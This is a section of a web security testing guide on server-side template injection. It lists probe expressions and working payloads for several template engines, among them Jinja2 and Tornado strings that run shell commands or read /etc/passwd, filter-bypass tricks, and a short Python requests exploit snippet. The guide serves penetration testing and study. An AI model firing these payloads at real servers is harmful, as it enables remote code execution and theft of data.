4.11. Template Injection¶
4.11.1. Introduction¶
Template engines are used to render content with dynamic data. This contextual data is typically controlled by the user and formatted by templates to generate web pages, emails, etc. Template engines process contextual data by using code constructs such as conditional statements, loops, etc., allowing powerful language expressions to be used in templates to render dynamic content. If an attacker were able to control the template being rendered, they would be able to inject expressions that could expose contextual data or even run arbitrary commands on the server.
4.11.2. Test method¶
Determine which engine to use
Check the engine-related documentation to determine its security mechanism and its own functions and variables
Need to find attack surface, try to attack
4.11.3. Test Cases¶
simple mathematical expressions,
{{ 7+7 }} => 14
string expression
{{ "ajin" }} => ajin
- Ruby
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
- Java
${7*7}
- Twig
{{7*7}}
- Smarty
{php}echo `id`;{/php}
- AngularJS
$eval('1+1')
- Tornado
引用模块
{% import module %}
=>
{% import os %}{{ os.popen("whoami").read() }}
- Flask/Jinja2
{{ config }}
{{ config.items() }}
{{get_flashed_messages.__globals__['current_app'].config}}
{{''.__class__.__mro__[-1].__subclasses__()}}
{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
{{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
- Django
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
4.11.4. Objectives¶
create object
file read and write
remote file contains
information leakage
escalation of rights
4.11.6. Common Payloads¶
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
4.11.7. Bypass Techniques¶
4.11.7.1. String concatenation¶
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
4.11.7.2. Bypassing with parameters¶
params = {
'clas': '__class__',
'mr': '__mro__',
'subc': '__subclasses__'
}
data = {
"data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)